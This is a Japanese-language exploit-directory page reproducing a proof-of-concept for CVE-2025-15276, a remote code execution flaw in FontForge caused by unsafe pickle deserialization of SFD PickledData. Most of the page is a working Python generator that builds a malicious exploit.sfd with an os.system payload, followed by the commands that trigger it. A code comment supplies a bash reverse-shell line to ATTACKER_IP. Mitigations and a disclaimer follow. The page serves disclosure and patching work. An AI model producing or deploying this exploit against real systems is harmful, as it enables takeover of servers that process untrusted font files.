Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-15276-poc — CVE-2025-15276 の概念実証 - FontForge SFD ファイル解析における未検証データのデシリアライズによるリモートコード実行の脆弱性 | Kitploit
ツール/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
ペイロード生成脆弱性分析エクスプロイト学習と教育リモートアクセスツールバイナリエクスプロイト
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

CVE-2025-15276 の概念実証 - FontForge SFD ファイル解析における未検証データのデシリアライズによるリモートコード実行の脆弱性

リポジトリを見る
2116ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-15276: FontForge SFD PickledData の安全でないデシリアライズ (RCE)

免責事項

この概念実証 (PoC) は教育目的およびセキュリティ監査専用です。 本情報の誤用について、作成者は一切の責任を負いません。コンピュータシステムへの不正アクセスは違法行為です。いかなるシステムに対するセキュリティテストを実施する前には、必ず明示的な許可を得てください。


脆弱性の概要

CVE-2025-15276 は、FontForge(バージョン 20230101 まで)における重大なリモートコード実行 (RCE) 脆弱性です。この欠陥は、Spline Font Database (.sfd) 形式の解析、特に PickledData フィールドに存在します。

技術的詳細

FontForge の SFD 形式では、PickledData キーワードを使用して永続的な Python ディクショナリを保存できます。フォントが読み込まれると、FontForge はこの文字列を抽出し、サニタイズやサンドボックスなしで直接 Python の pickle.loads() 関数(または同等の内部デシリアライズルーチン)に渡します。

Python の pickle モジュールは本質的に安全ではなく、任意のオブジェクト再構築を許可するため、攻撃者は __reduce__ メソッドを使用して、FontForge を実行しているユーザーの権限で任意のシステムコマンドを実行できます。


再現手順

1. 要件

  • 脆弱な FontForge: バージョン 20230101 またはそれ以前。
  • Python 3.x: 悪意のあるペイロードを生成するため。

2. 悪意のある SFD ファイルの生成

以下の Python スクリプト (gen_poc.py) を使用して exploit.sfd ファイルを作成します。この PoC は、侵害の安全な指標 (IoC) として /tmp/pwned にファイルを作成するように設定されています。

import pickle
import os

# リバースシェルの場合: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Protocol 0 (ASCII) でオブジェクトをシリアライズ (SFD 互換性のため)
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# SFD 形式で必要なバックスラッシュと引用符をエスケープ
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# 最小限の SFD 構造を構築
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd が正常に生成されました。")

3. 脆弱性のトリガー

ファイルを FontForge で開くだけで脆弱性がトリガーされます。

オプション A: 標準 GUI/CLI 読み込み

fontforge exploit.sfd

オプション B: Python スクリプティングインターフェース (自動パイプラインでよく使用)

fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. 確認

コマンドが実行されたか確認します:

ls -l /tmp/pwned

自動化環境における影響

この脆弱性は、バックエンドで FontForge を使用してユーザーがアップロードしたファイルを処理するフォント処理パイプライン(例:Web ベースのフォントコンバーターや自動検証スクリプト)において特に危険です。バックエンドスクリプトが信頼できない .sfd ファイルに対して fontforge.open() を呼び出すと、攻撃者は処理サーバーを完全に制御できるようになります。


緩和策

  1. FontForge の更新: これらの安全でないデシリアライズパスが修正または制限された最新バージョン (v78.1.1 以降) にアップグレードする。
  2. 入力のサニタイズ: FontForge API を使用してツールを構築する場合は、処理前にファイル形式を厳密に検証し、信頼できないソースからの .sfd ファイルの処理を決して許可しない。
  3. サンドボックス化: フォント処理タスクを低権限のコンテナ (例:Docker) または制限付きサンドボックス内で実行し、潜在的な侵害の影響を制限する。

参考文献

  • CVE-2025-15276 NVD エントリ
  • Zero Day Initiative (ZDI) レポート
  • FontForge GitHub リポジトリ
ツールをダウンロード